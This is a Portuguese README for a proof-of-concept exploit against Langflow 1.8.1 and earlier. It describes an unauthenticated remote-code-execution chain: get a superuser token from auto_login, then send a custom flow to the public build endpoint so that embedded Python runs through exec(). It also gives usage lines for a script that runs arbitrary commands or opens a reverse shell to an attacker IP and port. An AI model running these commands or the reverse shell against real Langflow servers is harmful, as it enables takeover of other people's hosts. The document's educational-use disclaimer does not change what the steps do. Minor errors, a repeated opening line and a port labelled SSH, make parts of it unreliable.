
A vulnerabilidade no Langflow 1.8.1 e versões anteriores permite que um atacante remoto não autenticado execute comandos arbitrários no host.
A vulnerabilidade no Langflow 1.8.1 e versões anteriores permite que um atacante remoto e não autenticado execute comandos arbitrários no host.
O endpoint POST /api/v1/build_public_tmp/{flow_id}/flow permite que qualquer pessoa crie flows públicos sem autenticação.
Ao fornecer o parâmetro opcional data, um atacante pode substituir o flow armazenado por sua própria definição personalizada, incorporando código Python arbitrário nas configurações dos nós. Esse código controlado pelo usuário é executado via exec() sem sandboxing ou validação, resultando em execução remota de código não autenticada.
Langflow 1.8.1 e versões anteriores
AUTO_LOGIN=trueQuando AUTO_LOGIN=true (configuração padrão), um atacante não autenticado pode satisfazer todas as condições:
GET /api/v1/auto_login → obter um token de superusuárioPOST /api/v1/flows/ → criar um flow públicobuild_public_tmp sem qualquer autenticaçãopython cve-2026-33017.py <host> [opções]
Opções:
-p PORT, --port PORT: Porta SSH (padrão: 7860)
-id FLOW_ID, --flow_id FLOW_ID: ID do Flow Público (um novo será criado se omitido)
-c COMMAND, --command COMMAND: Comando personalizado a ser executado
--shell: Iniciar um reverse shell
--lhost LHOST: IP do atacante para o reverse shell
--lport LPORT: Porta do atacante para o reverse shell (padrão: 4444)
-t TIMEOUT, --timeout TIMEOUT: Tempo limite de conexão em segundos (padrão: 5)
python cve-2026-33017.py 127.0.0.1 -c 'touch /tmp/pwned.txt'
python cve-2026-33017 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444
Este PoC é apenas para fins educacionais e de pesquisa. Use por sua conta e risco. O autor não é responsável por qualquer uso indevido ou dano causado.